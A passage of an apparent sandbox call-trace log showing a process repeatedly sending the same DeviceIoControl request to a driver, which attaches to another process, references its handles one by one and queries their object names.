ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.599] PsAcquireProcessExitSynchronization () returned 0x0 [0131.599] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.599] ObReferenceObjectByHandle (in: Handle=0x298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001247880, HandleInformation=0x0) returned 0x0 [0131.599] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.599] PsReleaseProcessExitSynchronization () returned 0x2 [0131.599] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.599] ObQueryNameString (in: Object=0xfffff8a001247880, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.599] ObfDereferenceObject (Object=0xfffff8a001247880) returned 0x1 [0131.599] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.599] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.600] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.600] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.600] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.600] PsAcquireProcessExitSynchronization () returned 0x0 [0131.600] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.600] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001b237a0, HandleInformation=0x0) returned 0x0 [0131.600] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.600] PsReleaseProcessExitSynchronization () returned 0x2 [0131.600] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.600] ObQueryNameString (in: Object=0xfffff8a001b237a0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0131.600] ObfDereferenceObject (Object=0xfffff8a001b237a0) returned 0x1 [0131.600] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.600] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.600] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.600] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.600] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.600] PsAcquireProcessExitSynchronization () returned 0x0 [0131.600] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.600] ObReferenceObjectByHandle (in: Handle=0x2b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001625eb0, HandleInformation=0x0) returned 0x0 [0131.600] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.600] PsReleaseProcessExitSynchronization () returned 0x2 [0131.600] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.600] ObQueryNameString (in: Object=0xfffff8a001625eb0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.600] ObfDereferenceObject (Object=0xfffff8a001625eb0) returned 0x1 [0131.600] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.600] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.600] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.600] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.600] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.600] PsAcquireProcessExitSynchronization () returned 0x0 [0131.600] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.600] ObReferenceObjectByHandle (in: Handle=0x2cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0017fefc0, HandleInformation=0x0) returned 0x0 [0131.600] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.600] PsReleaseProcessExitSynchronization () returned 0x2 [0131.600] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.601] ObQueryNameString (in: Object=0xfffff8a0017fefc0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.601] ObfDereferenceObject (Object=0xfffff8a0017fefc0) returned 0x1 [0131.601] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.601] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.601] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0131.601] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.601] PsAcquireProcessExitSynchronization () returned 0x0 [0131.601] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.601] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800346f580, HandleInformation=0x0) returned 0x0 [0131.601] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.601] PsReleaseProcessExitSynchronization () returned 0x2 [0131.601] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.601] ObQueryNameString (in: Object=0xfffffa800346f580, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.601] ObfDereferenceObject (Object=0xfffffa800346f580) returned 0x2 [0131.601] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.601] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.601] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.601] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.601] PsAcquireProcessExitSynchronization () returned 0x0 [0131.601] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.601] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001811930, HandleInformation=0x0) returned 0x0 [0131.601] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.601] PsReleaseProcessExitSynchronization () returned 0x2 [0131.601] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.601] ObQueryNameString (in: Object=0xfffff8a001811930, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.602] ObfDereferenceObject (Object=0xfffff8a001811930) returned 0x1 [0131.602] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.602] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.602] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.602] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.602] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.602] PsAcquireProcessExitSynchronization () returned 0x0 [0131.602] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.602] ObReferenceObjectByHandle (in: Handle=0x2e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001b633e0, HandleInformation=0x0) returned 0x0 [0131.602] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.602] PsReleaseProcessExitSynchronization () returned 0x2 [0131.602] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.602] ObQueryNameString (in: Object=0xfffff8a001b633e0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.602] ObfDereferenceObject (Object=0xfffff8a001b633e0) returned 0x1 [0131.602] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.602] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.602] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.602] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.602] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.602] PsAcquireProcessExitSynchronization () returned 0x0 [0131.602] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.603] ObReferenceObjectByHandle (in: Handle=0x2ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001a63b80, HandleInformation=0x0) returned 0x0 [0131.603] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.603] PsReleaseProcessExitSynchronization () returned 0x2 [0131.603] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.603] ObQueryNameString (in: Object=0xfffff8a001a63b80, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.603] ObfDereferenceObject (Object=0xfffff8a001a63b80) returned 0x1 [0131.603] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.603] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.603] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.603] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.603] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.603] PsAcquireProcessExitSynchronization () returned 0x0 [0131.603] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.603] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00179dd10, HandleInformation=0x0) returned 0x0 [0131.603] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.603] PsReleaseProcessExitSynchronization () returned 0x2 [0131.603] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.603] ObQueryNameString (in: Object=0xfffff8a00179dd10, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.603] ObfDereferenceObject (Object=0xfffff8a00179dd10) returned 0x1 [0131.603] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.603] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.603] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.603] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.603] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.603] PsAcquireProcessExitSynchronization () returned 0x0 [0131.603] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.603] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f44bf0, HandleInformation=0x0) returned 0x0 [0131.603] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.603] PsReleaseProcessExitSynchronization () returned 0x2 [0131.603] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.603] ObQueryNameString (in: Object=0xfffff8a001f44bf0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.603] ObfDereferenceObject (Object=0xfffff8a001f44bf0) returned 0x1 [0131.603] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.604] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.604] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.604] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.604] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.604] PsAcquireProcessExitSynchronization () returned 0x0 [0131.604] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.604] ObReferenceObjectByHandle (in: Handle=0x2f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0012483d0, HandleInformation=0x0) returned 0x0 [0131.604] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.604] PsReleaseProcessExitSynchronization () returned 0x2 [0131.604] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.604] ObQueryNameString (in: Object=0xfffff8a0012483d0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.604] ObfDereferenceObject (Object=0xfffff8a0012483d0) returned 0x1 [0131.604] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.604] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.604] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.604] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.604] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.604] PsAcquireProcessExitSynchronization () returned 0x0 [0131.604] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.604] ObReferenceObjectByHandle (in: Handle=0x310, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f537a0, HandleInformation=0x0) returned 0x0 [0131.604] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.604] PsReleaseProcessExitSynchronization () returned 0x2 [0131.604] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.604] ObQueryNameString (in: Object=0xfffff8a001f537a0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.604] ObfDereferenceObject (Object=0xfffff8a001f537a0) returned 0x1 [0131.604] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.604] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.604] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.604] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.604] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.604] PsAcquireProcessExitSynchronization () returned 0x0 [0131.604] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.604] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001ef47c0, HandleInformation=0x0) returned 0x0 [0131.604] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.604] PsReleaseProcessExitSynchronization () returned 0x2 [0131.605] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.605] ObQueryNameString (in: Object=0xfffff8a001ef47c0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.605] ObfDereferenceObject (Object=0xfffff8a001ef47c0) returned 0x1 [0131.605] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.605] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.605] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.605] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.605] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.605] PsAcquireProcessExitSynchronization () returned 0x0 [0131.605] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.605] ObReferenceObjectByHandle (in: Handle=0x31c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001cb9860, HandleInformation=0x0) returned 0x0 [0131.605] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.605] PsReleaseProcessExitSynchronization () returned 0x2 [0131.605] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.605] ObQueryNameString (in: Object=0xfffff8a001cb9860, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.605] ObfDereferenceObject (Object=0xfffff8a001cb9860) returned 0x1 [0131.605] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.605] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.605] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.605] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.605] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.605] PsAcquireProcessExitSynchronization () returned 0x0 [0131.605] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.605] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f35850, HandleInformation=0x0) returned 0x0 [0131.605] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.605] PsReleaseProcessExitSynchronization () returned 0x2 [0131.605] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.605] ObQueryNameString (in: Object=0xfffff8a001f35850, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.605] ObfDereferenceObject (Object=0xfffff8a001f35850) returned 0x1 [0131.605] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.605] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.605] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.605] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.605] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.606] PsAcquireProcessExitSynchronization () returned 0x0 [0131.606] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.606] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001ef4af0, HandleInformation=0x0) returned 0x0 [0131.606] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.606] PsReleaseProcessExitSynchronization () returned 0x2 [0131.606] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.606] ObQueryNameString (in: Object=0xfffff8a001ef4af0, ObjectNameInfo=0xfffffa80019f9044, 